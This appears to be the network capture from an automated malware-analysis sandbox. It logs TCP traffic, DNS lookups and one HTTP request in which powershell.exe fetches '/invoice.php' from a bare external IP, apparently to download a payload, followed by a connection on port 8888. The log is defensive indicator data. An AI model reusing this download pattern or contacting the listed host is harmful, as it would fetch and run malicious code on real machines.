Jan 11, 2025 06:08:58.808085918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.808103085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808115005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808123112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.808129072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808151960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.808197975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808208942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808219910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808231115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808238029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.808244944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808254004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.808290005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.808305979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808320045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808331966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808342934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808357000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.808363914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.808387995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.809559107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809568882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809580088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809600115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809607029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.809612036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809618950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809627056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.809632063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809652090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809669018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.809678078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.809686899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809699059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809720993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809735060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809741974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.809747934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809760094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809762001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.809775114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809798002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.809818029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809832096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.809853077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809864044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809873104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809891939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.809894085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809910059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809911966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.809921980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809933901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.809959888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.809984922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.840859890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.840881109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.840888023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.840894938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.840909958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.840925932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.841006994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.841020107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.841023922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.841032028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.841047049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.841082096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.841093063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.841104984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.841115952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.841128111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.841140985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.841259003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.841259003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.841259956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.860040903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.860071898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.860081911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.860110044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.860121012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.860121965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.860146999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.860167980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.860181093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.860183954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.860193968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.860233068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.862657070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862668037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862690926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862704992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862716913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862716913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.862761021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862772942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862797976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862818956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862831116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862842083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862854958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862879038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862898111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.862898111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.862900972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862898111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.862898111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.862914085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.862916946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862921000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.862930059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862941027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.862971067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.862992048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.893815994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.893861055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.893876076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.893891096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.893914938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.893925905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.893939018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.893955946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.893966913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.893980980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894005060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894016981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894028902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894078970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894098043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894112110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894120932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894124031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894124031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894124031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894124985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894124985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894135952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894140959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894161940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894177914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894191027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894201994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894220114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894243956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894279003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894290924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894303083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894323111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894340038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894370079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894433975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894448042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894459963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894469976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894485950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894486904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894505024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894512892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894525051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894536972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894547939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894551992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894576073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894588947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894591093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894604921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894617081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894618988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894645929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894721985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894735098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894746065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894758940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894762039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894772053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894790888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.894792080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.894817114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.895009041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895024061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895035982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895047903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.895049095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895062923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895075083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.895098925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895101070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.895112038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895123959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895143032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895149946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.895154953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895176888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895179987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.895190001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895201921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895212889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.895216942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895243883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.895247936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895271063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895283937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895286083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.895298958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895318031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895347118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895354033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.895354033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.895359993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895373106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895384073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.895394087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.895418882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.896311045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.896322966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.896337986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.896359921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.896368980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.896372080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.896399975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.896486044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.896498919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.896511078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.896522999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.896523952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.896536112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.896549940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.896569014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.898857117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.898869038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.898888111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.898899078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.898910999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.898938894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.927675962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927712917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927722931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927747965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927753925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.927759886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927779913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927786112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.927798033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927813053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927841902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.927866936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.927876949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927889109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927898884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927920103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.927923918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927937984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927947998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927948952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.927961111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927974939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.927984953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.928004980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.946923971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.946945906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.946959972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:58.946989059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:58.947020054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.118510962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.123465061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.123553038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.123589993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.123620987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.123624086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.123666048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.130686998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.135587931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135608912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135622978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135634899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135647058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135658979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135662079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.135695934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135709047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135710955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.135720015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135735035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135754108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135761976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.135766983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135777950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135792017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135792971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.135812998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.135835886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.135873079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135885954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135899067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135911942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135925055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135927916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.135936975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135948896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.135951042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135962963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.135983944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.136004925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.136070013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.136084080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 06:08:59.136120081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.402350903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.411822081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:08:59.569122076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 06:09:00.008688927 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 06:09:00.013528109 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:09:00.013674021 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 06:09:00.014014959 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 06:09:00.018740892 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:09:00.840656996 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 06:09:00.881922007 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 06:09:02.157955885 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:09:07.940006018 CET	51841	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:09:07.940006018 CET	192.168.2.8	1.1.1.1	0x12e6	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:09:07.947191000 CET	1.1.1.1	192.168.2.8	0x12e6	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:09:08.796256065 CET	1.1.1.1	192.168.2.8	0xc511	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:09:08.796256065 CET	1.1.1.1	192.168.2.8	0xc511	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	3712	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:08:57.472812891 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
